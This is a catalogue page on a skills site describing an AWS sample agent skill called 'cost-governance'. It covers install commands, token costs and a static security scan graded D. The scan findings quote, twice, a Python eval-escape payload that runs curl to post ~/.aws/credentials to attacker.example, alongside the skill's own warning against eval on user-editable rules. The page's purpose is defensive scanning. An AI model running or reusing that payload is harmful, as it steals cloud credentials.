sample-oh-my-aidlcops is a plugin marketplace for Claude Code and Kiro that packages practices for managing the AWS AI-Driven Development Lifecycle, including design correctness and agent safety. It is for teams using agents to develop and operate AWS systems with approval checkpoints. Its catalogue contains the marketplace's plugins, skills, agents, and commands.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add aws-samples/sample-oh-my-aidlcops --skill cost-governancegit clone --depth 1 https://github.com/aws-samples/sample-oh-my-aidlcopsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance)<a href="https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance"><img src="https://agentmods.dev/badge/skills/aws-samples/sample-oh-my-aidlcops/cost-governance/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance"><img src="https://agentmods.dev/badge/skills/aws-samples/sample-oh-my-aidlcops/cost-governance.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00086 | $0.03502 |
| Opus 5 | $0.00043 | $0.01751 |
| Sonnet 5 | $0.00017 | $0.00700 |
| Haiku 4.5 | $0.00009 | $0.00350 |
Grade D, and why
cost-governance scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')" Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
> **⚠️ 보안 — `rule["when"]` 은 사용자 편집 가능한 `.omao/plans/cost/budget.yaml` 에서 온 문자열입니다. 절대 Python `eval()` / `exec()` 에 넣지 마세요.** `budget.yaml` 을 수정할 수 있는 누구든 임의 코드를 실행할 수 있게 되며 (IAM credential, `/.aws/credentials`, Bedrock Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')" The source is not reproduced here
Licensed MIT-0
The repository is licensed MIT-0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 296 lines · 86 tokens per session scan D b1e2d036c7ba
cost-governance is a skill published in the GitHub repository aws-samples/sample-oh-my-aidlcops (19 stars, last pushed today), licensed MIT-0. It adds 86 tokens to every session and 3,502 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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US crypto tax treatment under IRS guidance. Crypto as property (Notice 2014-21). Cost basis methods under Rev. Proc. 2024-28 safe harbor. Capital gains/losses, Form 8949/Schedule D, staking income, mining, and DeFi considerations.
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ISO and IFRS accounting standards used in the Tax-Lawyer Platform: ISO 20022 (financial messaging), IFRS 9 (financial instruments), LEI (ISO 17442), and ISO 4217 (currency codes). Grounds monetary domain objects in formal standards.
cost-efficiency-analyzer
Analyzes cost structure, cost efficiency, and expense management from P&L data. Use when the user asks about costs, expenses, COGS, operating expenses, cost ratios, cost control, spending efficiency, margin compression from cost side, or wants to understand where money is going. Also use for "are we spending too…